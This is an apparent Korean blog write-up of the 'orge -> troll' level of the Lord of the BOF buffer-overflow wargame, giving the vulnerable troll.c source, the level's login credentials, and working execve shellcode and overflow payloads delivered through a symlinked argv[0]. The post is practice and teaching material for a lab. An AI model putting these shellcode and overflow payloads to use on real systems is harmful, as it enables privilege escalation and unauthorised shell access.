SH1R0_HACKER
8. orge -> troll 본문
id : orge
password : timewalker
[ troll.c ]
/*
The Lord of the BOF : The Fellowship of the BOF
- troll
- check argc + argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
// here is changed
if(argc != 2){
printf("argc must be two!\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// one more!
memset(argv[1], 0, strlen(argv[1]));
}
argv[0] 길이를 검사하는 부분이 사라지고 argc가 2개인지 확인하는 부분이 추가되었다.
argv[2]에 쉘코드를 넣는 방법은 이제 불가능하다.
심볼릭 링크를 이용하여 argv[0]에 쉘코드를 넣고 RET 주소를 여기로 변경하는 방법을 이용하자.gdb 분석을 위해
troll2라는 사본파일을 만들어 주었다.
ln -s troll2 `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
No such file or directory 라는 오류가 뜬다.
이유를 찾아보니 \x2f 이게 ASCII로 변환되면 / 로 바뀐다고한다.
실제로 / 가 포함되어있다면 심볼릭 링크를 생성할 수 없다.
디텍토리로 인식해 버리기 때문에 \x2f가 포함되지 않은 쉘코드를 찾아와야한다.
아래는 내가 사용한 쉘코드이다.
Shellcode without \x2f (34byte)
"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
이제 심볼릭 링크를 만들어주자.
ln -s troll2 `python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`
ㅇㅋ 잘 생성된다.
gdb 분석할때도 파이썬으로 날리면 된다. 다음과 같이 말이다.
gdb ./`python -c 'print "\x90"*100+"gdb ./`python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`
RET 주소를 0xbffffb5c로 잡고 페이로드를 작성하자.
./`python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'` `python -c 'print "\x90"*44+"\x5c\xfb\xff\xbf"'`
코어를 분석해보자.
RET 주소를 다시 0xbffffabc로 잡고 공격해보자.
완성된 페이로드는 아래와 같다.
./`python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'` `python -c 'print "\x90"*44+"\xbc\xfa\xff\xbf"'`
bash가 잘 뜬다.
이제 실제 파일에 적용해보자.
rm * 명령어로 보호된파일 troll, troll.c를 제외한 나머지를 모두 삭제하였다.
다음 명령어로 troll 파일에 대해 심볼릭링크를 만들어 주고, 페이로드를 이용하여 공격하자.
ln -s troll `python -c 'print "\x90"*100+"\x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'`
'System > The Lord of BOF' 카테고리의 다른 글
10. vampire -> skeleton (0) | 2020.10.28 |
---|---|
9. troll -> vampire (0) | 2020.10.27 |
7. darkelf -> orgc (0) | 2020.10.24 |
6. wolfman -> darkelf (0) | 2020.10.24 |
5. orc -> wolfman (0) | 2020.10.22 |